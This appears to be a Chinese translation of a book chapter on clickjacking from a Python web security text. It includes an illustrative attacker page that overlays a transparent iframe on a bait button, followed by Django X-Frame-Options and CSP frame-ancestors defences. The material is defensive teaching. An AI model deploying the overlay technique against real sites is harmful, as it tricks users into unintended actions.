  • CORS 可以被视为放宽 SOP 的一种方式。

  • 简单的 CORS 使用情况由Access-Control-Allow-Origin处理。

  • 浏览器在可能有害的 CORS 请求之前会发送一个预检请求。

  • 将所有共享资源托管在具有共同 URL 路径前缀的主机上。

第十八章:点击劫持

本章包括

  • 配置X-Frame-Options头部

  • 配置frame-ancestorsCSP 指令

这一简短的章节探讨了点击劫持并结束了本书。术语点击劫持点击劫持两个词的结合。点击劫持是通过诱骗受害者进入恶意网页来启动的。受害者被引诱点击一个看似无害的链接或按钮。点击事件被攻击者劫持并传播到另一个来自另一个站点的 UI 控件。受害者可能认为他们即将赢得一部 iPhone,但实际上他们正在向之前登录过的另一个站点发送请求。这个无意中的请求的状态变化是攻击者的动机。

假设查理刚刚完成了 charlie.mil,一个为高级军官设计的绝密网站。该网站提供列表 18.1 中的网页,launch-missile.html。正如名称所示,该页面使军官能够发射导弹。查理采取了一切必要的预防措施,确保只有授权人员能够访问和使用此表单。

列表 18.1 查理的网站使用普通的 HTML 表单发射导弹

<html>
    <body>
        <form method='POST' action='/missile/launch/'>
          {% csrf_token %}
          <button type='submit'>    <!-- ❶ -->
              Launch missile        <!-- ❶ -->
          </button>                 <!-- ❶ -->
        </form>
        ...
    </body>
</html>

❶ 一个简单的按钮用于发射导弹

玛洛瑞想要诱骗查理发射导弹。她引诱他访问 win-iphone.mallory.com,他的浏览器渲染列表 18.2 中的 HTML。此页面的正文包含一个作为诱饵的按钮,以全新的 iPhone 吸引查理。一个 iframe 加载 charlie.mil/launch-missile.html。内联样式表通过将opacity属性设置为0透明地渲染 iframe。该 iframe 也通过 z-index 属性叠放在诱饵控件之上。这确保了透明控件而不是诱饵控件接收点击事件。

列表 18.2 玛洛瑞的网站嵌入了查理网站的一个网页

<html>
  <head>
    <style>
      .bait {
        position: absolute;                                  /* ❶ */
        z-index: 1;                                          /* ❶ */
      }
      .transparent {
        position: relative;                                  /* ❷ */
        z-index: 2;                                          /* ❷ */
        opacity: 0;                                          /* ❷ */
      }
    </style>
  </head>
  <body>
    <div class='bait'>                                       <!-- ❸ -->
      <button>Win an iPhone!</button>                        <!-- ❸ -->
    </div>                                                   <!-- ❸ -->

    <iframe class='transparent'                              <!--  -->
            src='https://charlie.mil/launch-missile.html'>   <!-- ❹ -->
    </iframe>                                                <!-- ❹ -->
    ...
  </body>
</html>

❶ 将诱饵控件放在透明控件下方

❷ 将透明控件隐藏并堆叠在诱饵控件之上

❸ 诱饵控件

❹ 加载包含透明控件的页面

查理上了钩。他点击了一个看似赢得 iPhone 的按钮。点击事件被导弹发射表单的提交按钮劫持。从查理的浏览器发送了一个有效但是无意的 POST 请求到 charlie.mil。这个攻击在图 18.1 中被描述。

Python 全栈安全(四)-LMLPHP

图 18.1 玛洛瑞让查理无意中发射导弹。

不幸的是,查理的 POST 请求没有被同源策略阻止;CORS 也无关紧要。为什么?因为它根本不是跨源请求。请求的来源是通过 iframe 加载的页面(charlie.mil)的来源,而不是包含 iframe 的页面(win-iphone.mallory.com)的来源。这个故事得到了请求的HostOriginReferer头部的证实,如下所示(加粗显示):

POST /missile/launch/ HTTP/1.1
...
Content-Type: application/x-www-form-urlencoded
Cookie: csrftoken=PhfGe6YmnguBMC...; sessionid=v59i7y8fatbr3k3u4... 
Host: charlie.mil
Origin: https://charlie.mil
Referer: https://charlie.mil/launch-missile.html
...

每个同源请求在定义上都是同站点请求。Charlie 的无意请求因此被服务器的 CSRF 检查错误地解释为有意的。毕竟,Referer 头是有效的,而 Cookie 头携带了 CSRF 令牌。

Cookie 头还携带了 Charlie 的会话 ID。因此,服务器会使用 Charlie 的访问权限处理请求,发射导弹。现实世界中的攻击者使用点击劫持来实现许多其他目标。这包括欺骗用户购买东西、转账或提升攻击者的权限。

点击劫持是一种特定类型的 UI 重定向攻击。UI 重定向攻击旨在劫持各种用户操作,而不仅仅是点击。这包括按键、滑动和轻触。点击劫持是最常见的 UI 重定向攻击类型。接下来的两节将教你如何防止它。

18.1 X-Frame-Options 头

网站传统上使用 X-Frame-Options 响应头来抵抗点击劫持。此头由 charlie.mil 等站点为 launch-missile.html 等资源提供。这告知浏览器是否允许将资源嵌入到 iframe、frame、object 或 embed 元素中。

此头的值为 DENYSAMEORIGIN。这两个设置的行为直观。DENY 禁止浏览器在任何地方嵌入响应;SAMEORIGIN 允许浏览器在来自相同源的页面中嵌入响应。

默认情况下,每个 Django 项目都会向每个响应添加 X-Frame-Options 头。该头的默认值在 Django 3 发布时从 SAMEORIGIN 更改为 DENY。这种行为由 X_FRAME_OPTIONS 设置配置:

X_FRAME_OPTIONS = 'SAMEORIGIN'

18.1.1 个性化响应

Django 支持一些装饰器,以便根据每个视图基础上修改 X-Frame-Options 头。这里以粗体显示的 xframe_options_sameorigin 装饰器为例,为单个视图设置 X-Frame-Options 的值为 SAMEORIGIN

列表 18.3 允许浏览器嵌入单个同源资源

from django.utils.decorators import method_decorator
from django.views.decorators.clickjacking import xframe_options_sameorigin

@method_decorator(xframe_options_sameorigin, name='dispatch')     # ❶
class XFrameOptionsSameOriginView(View):

   def get(self, request):
       ...
       return HttpResponse(...)

❶ 确保 X-Frame-Options 头为 SAMEORIGIN

Django 还附带了一个 xframe_options_deny 装饰器。此实用程序的行为类似于 xframe_options_sameorigin

xframe_options_exempt 装饰器会根据每个视图基础上省略响应中的 X-Frame-Options 头,如下列表所示。只有当响应打算在来自不同源的页面上的 iframe 中加载时才有用。

列表 18.4 允许浏览器在任何地方嵌入单个资源

from django.utils.decorators import method_decorator
from django.views.decorators.clickjacking import xframe_options_exempt

@method_decorator(xframe_options_exempt, name='dispatch')     # ❶
class XFrameOptionsExemptView(View):

   def get(self, request):
       ...
       return HttpResponse(...)

❶ 省略 X-Frame-Options 头

这些装饰器都适用于基于类的视图和基于函数的视图。

在之前的章节中,你学会了如何通过内容安全策略来抵抗跨站脚本和中间人攻击。CSP 在下一节中再次出现。

18.2 内容安全策略头

Content-Security-Policy 响应头部支持一个名为 frame-ancestors 的指令。这个指令是防止点击劫持的现代方式。像 X-Frame-Options 头部一样,frame-ancestors 指令旨在通知浏览器一个资源是否可以嵌入到 iframe、frame、object、applet 或 embed 元素中。像其他 CSP 指令一样,它支持一个或多个来源:

Content-Security-Policy: frame-ancestors <source>;
Content-Security-Policy: frame-ancestors <source> <source>;

CSP_FRAME_ANCESTORS 设置配置了 django-csp(前一章节介绍的一个库)来向 CSP 头部添加 frame-ancestors。这个设置接受一个字符串的元组或列表,代表一个或多个来源。下面的配置等同于将 X-Frame-Options 设置为 DENY'none' 来源禁止响应被嵌入到任何地方,即使是在与响应相同来源的资源中也是如此。单引号是必须的:

CSP_FRAME_ANCESTORS = ("'none'", )

Content-Security-Policy: frame-ancestors 'none'

下面的配置允许响应被嵌入到与相同来源的资源中。这个来源等同于将 X-Frame-Options 设置为 SAMEORIGIN

CSP_FRAME_ANCESTORS = ("'self'", )

Content-Security-Policy: frame-ancestors 'self'

主机来源与特定起源共享资源。具有以下标头的响应只允许在使用 HTTPS 的 8001 端口上的 bob.com 页面中嵌入:

CSP_FRAME_ANCESTORS = ('https://bob.com:8001', )

Content-Security-Policy: frame-ancestors https://bob.com:8001

frame-ancestors 指令是一个导航指令。与 img-srcfont-src 等获取指令不同,导航指令与 default-src 无关。这意味着如果 CSP 头部缺少 frame-ancestors 指令,浏览器不会回退到 default-src 指令。

18.2.1 X-Frame-Options 与 CSP 的比较

CSP 的 frame-ancestors 指令比 X-Frame-Options 更安全、更灵活。frame-ancestors 指令提供了更精细的控制级别。多个来源允许您通过协议、域或端口来管理内容。单个内容安全策略可以适应多个主机。

CSP 规范(www.w3.org/TR/CSP2/)明确比较了这两种选项:

主要区别在于许多用户代理实现了 SAMEORIGIN,以便仅匹配顶级文档的位置。此指令检查每个祖先。如果任何祖先不匹配,则加载被取消。

X-Frame-Options 只有一个优势:它被老版本的浏览器支持。但是这些头部是兼容的。一起使用它们只会让网站更安全:

frame-ancestors 指令已经废弃了 X-Frame-Options 头部。如果一个资源同时拥有这两种策略,应该执行 frame-ancestors 策略,而忽略 X-Frame-Options 策略。

到现在为止,你已经学会了关于点击劫持的一切需要知道的知识。你也学到了很多其他形式的攻击。请放心,总会有新的攻击方式需要学习;攻击者不会停歇。下一节将为您提供在不断变化的网络安全世界中保持更新的三种方法。

18.3 跟上 Mallory 的步伐

保持时效性一开始可能会让人望而却步。为什么?除了源源不断的新攻击和漏洞外,在网络安全领域还有大量新的信息资源。说真的,没有人有足够的时间去消化每篇博客、播客和社交媒体帖子。此外,一些资源仅仅是标题党和危言耸听。在本节中,我将这个领域简化为三个类别:

  • 影响者

  • 新闻源

  • 警报

对于每个类别,我在此提供三个选项。我挑战你至少订阅每个类别中的一个选项。

首先,至少订阅一个网络安全影响者。这些个人提供新闻和建议,担任研究员、作者、博主、黑客和播客主持人等角色。你可以选择以下列出的任何影响者。我更喜欢 Bruce Schneier。

  • Bruce Schneier,@schneierblog

  • Brian Krebs,@briankrebs

  • Graham Cluley,@gcluley

第二,订阅一个好的网络安全新闻来源。以下任何资源都会让你了解当前事件,如大规模泄露、新工具和网络安全法律。这些资源可以通过 RSS 方便地获取。我建议加入 Reddit 上的/r/netsec 社区。

第三,订阅风险警报通知。这些资源主要关注最近的攻击和新发现的漏洞。至少,你应该访问haveibeenpwned.com并订阅泄露通知。该网站会在你的帐户受到侵害时给你发送电子邮件:

恭喜你完成了这本书。我很享受写作,希望你也喜欢阅读。幸运的是,Python 和安全性都将长期存在。

摘要

  • 同源策略不适用于点击劫持,因为请求并非跨源。

  • 跨站请求伪造检查无法防止点击劫持,因为请求并非跨站点。

  • X-Frame-OptionsContent-Security-Policy响应头有效地抵抗点击劫持。

  • X-Frame-Options已被Content-Security-Policy所取代。

  • 订阅有影响力的人、新闻源和警报,以保持你的技能与时俱进。

04-25 21:53